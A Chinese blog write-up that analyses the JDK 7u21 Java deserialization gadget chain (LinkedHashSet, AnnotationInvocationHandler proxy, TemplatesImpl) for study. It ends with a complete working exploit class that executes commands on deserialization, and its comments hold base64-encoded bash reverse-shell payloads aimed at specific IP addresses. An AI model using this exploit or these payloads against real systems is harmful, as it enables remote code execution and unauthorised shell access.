Java反序列化之 JDK7u21 原生链

JDK7u21-原生链

0x01 前言

发现自己还没有看过这条链子，趁着开发写疲的时候看一看其他链子，并且复现一些其它漏洞

在前面分析的利用链中，其实大致都差不多都是基于 InvokerTransformer 和 TemplatesImpl 这两个类去进行执行命令，而其他的一些利用链也是基于这两个去进行一个变型。从而产生了新的利用链。而在这个 Jdk7u21 链中也是基于 TemplatesImpl 去实现的。

0x02 环境搭建

因为是 jdk7u21 的原生链子，所以直接搭建 jdk7u21 的环境包即可，不需要配上 CC 这一些的依赖了。

0x03 链子分析/复现

分析 yso

先来看一下该利用链的在 yso 里面给出调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

从这里其实可以看到JDK 7u21的这条链相对来说，比前面的链需要的知识量要大一些，分析得也会比较绕。但是其实到了 TemplatesImpl.getOutputProperties 这一步其实也是和前面的相同。

并且看到里面用到了 Proxy 这个代理类，说明这条链子可能是需要用到动态代理来实现的

我们正式开始进行漏洞分析，先从链尾看起，链尾是 TemplatesImpl.getOutputProperties() 方法，find usages 一下

这里的链子如果跟上去的话会发现跟不动，那么这里我们就要思考用两种办法来触发这条链子。

方法一、自动调用 getOutputProperties() 方法，一般是某个 set 自动调用 getOutputProperties() 方法

方法二、通过动态代理的方式触发 getOutputProperties() 方法

在这里 yso 给了我们答案 ———— 通过动态代理的方式进行触发，并且此处的动态代理为 Templates 类（这个其实是因为后面会去到它的实现类 TemplatesImpl 去，然后操作空间就很大了）

然后这里想了很久，我感觉自己还是有些基础的地方掌握的不够好，导致 EXP 可能只能写个一知半解这样。还是决定半看别人的，一半自己构造

独立编写 EXP

yso 这里告诉我们，链首是 LinkedHashSet 这个类，中间的步骤有：LinkedHashSet.add() 与 String.hashCode()，最后才是走到了 Proxy(Templates).equals()，接着就是熟悉的调用 Templates 的实现类 —— TemplatesImpl 了。

看到这里我直接悟了，String.hashCode() 里面的这个 String 是 LinkedHashSet 的键值对，调用了 String.hashCode() 方法之后，会自动调用 Proxy(Templates).equals()

所以归根结底，要编写 EXP，要先去看一下这个反序列化的入口 LinkedHashSet 类

LinkedHashSet 类的父类其实就是 HashSet 类，在 HashSet 类中提供了一个反序列化的入口方法 readObject()；接着我们看一下 HashSet 类的构造函数

其中有一个构造函数很特殊，里面可以键值对可以是泛型，也就是放对象进去了，所以这一步 LinkedHashSet.add() 放进去的有一个参数肯定是代理类。

我们现在还需要触发 String.hashCode() 以及 Proxy(Templates).equals()，后面的 Proxy(Templates).equals() 最好是被自动触发，那么这一步是怎么做到的呢

这一段话摘自 Y4tacker 师傅的文章，我也是看了这段话就懂了

在 readObject() 恢复对象的时候，因为 set 中储存的对象不允许重复，所以在添加对象的时候，势必会涉及到比较操作
如果 set 当中两个对象 hashCode 相同，则会对 key 调用 equals() 方法，如果我们用AnnotationInvocationHandler 代理一个对象，在调用 equals() 方法触发 invoke() 时，会调用 equalsImpl 方法，这里面会遍历 type(设置为 TemplateImpl 类) 中的每个方法并调用，那么就会触发 newTransform() 或 getOutputProperties() 方法导致字节码加载任意代码的执行

这里因为 hashCode 是可控，所以才会想到用代理类来实现我们的攻击，这里实在是太妙了。如此一来，其实我们已经可以自己手写 EXP 了

在这之前，可以再画个流程图让自己思路更清晰一点

先添加依赖

<dependencies>  
  <dependency>  
    <groupId>org.javassist</groupId>  
    <artifactId>javassist</artifactId>  
    <version>3.18.2-GA</version>  
  </dependency>  
  
  <dependency>  
    <groupId>org.jboss.classpool</groupId>  
    <artifactId>jboss-classpool</artifactId>  
    <version>1.0.0.GA</version>  
  </dependency>  
</dependencies>

构造 EXP 如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.*;  
  
public class exp {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue(templates, "_name", "Drunkbaby");  
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
        // new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMC4xNjQvMTIzNiAwPiYx}|{base64,-d}|{bash,-i}\"}"  
        byte[] evil = getTemplatesImpl("Calc");  
        byte[][] codes = {evil};  
        setFieldValue(templates, "_bytecodes", codes);  
  
        String evilHashCode = "f5a5a608";  
        // 实例化一个map，并添加Magic Number为key，也就是f5a5a608，value先随便设置一个值  
        HashMap hashMap = new HashMap();  
        hashMap.put(evilHashCode,"Drunkbaby");  
  
        // 下面部分搞动态代理，反射获取 AnnotationInvocationHandler 类，再实例化  
  
        Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);  
        constructor.setAccessible(true);  
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Templates.class, hashMap);  
  
        // 创建动态代理  
  
        Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(),  
                                                            new Class[]{Templates.class}, invocationHandler);  
  
        // 准备入口类 LinkedHashSet  
        HashSet hashSet = new LinkedHashSet();  
        hashSet.add(templates);  
        hashSet.add(proxy);  
  
        // 将恶意templates设置到map中  
        hashMap.put(evilHashCode, templates);  
        serialize(hashSet);  
        deserialize("ser.bin");  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
        oos.writeObject(obj);  
    }  
  
    public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
        Object obj = ois.readObject();  
        return obj;  
    }  
  
    public static byte[] getTemplatesImpl(String cmd) {  
        try {  
            ClassPool pool = ClassPool.getDefault();  
            CtClass ctClass = pool.makeClass("Evil");  
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");  
            ctClass.setSuperclass(superClass);  
            CtConstructor constructor = ctClass.makeClassInitializer();  
            constructor.setBody(" try {\n" +  
                    " Runtime.getRuntime().exec(\"" + cmd +  
                    "\");\n" +  
                    " } catch (Exception ignored) {\n" +  
                    " }");  
            // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"  
            byte[] bytes = ctClass.toBytecode();  
            ctClass.defrost();  
            return bytes;  
        } catch (Exception e) {  
            e.printStackTrace();  
            return new byte[]{};  
        }  
    }  
}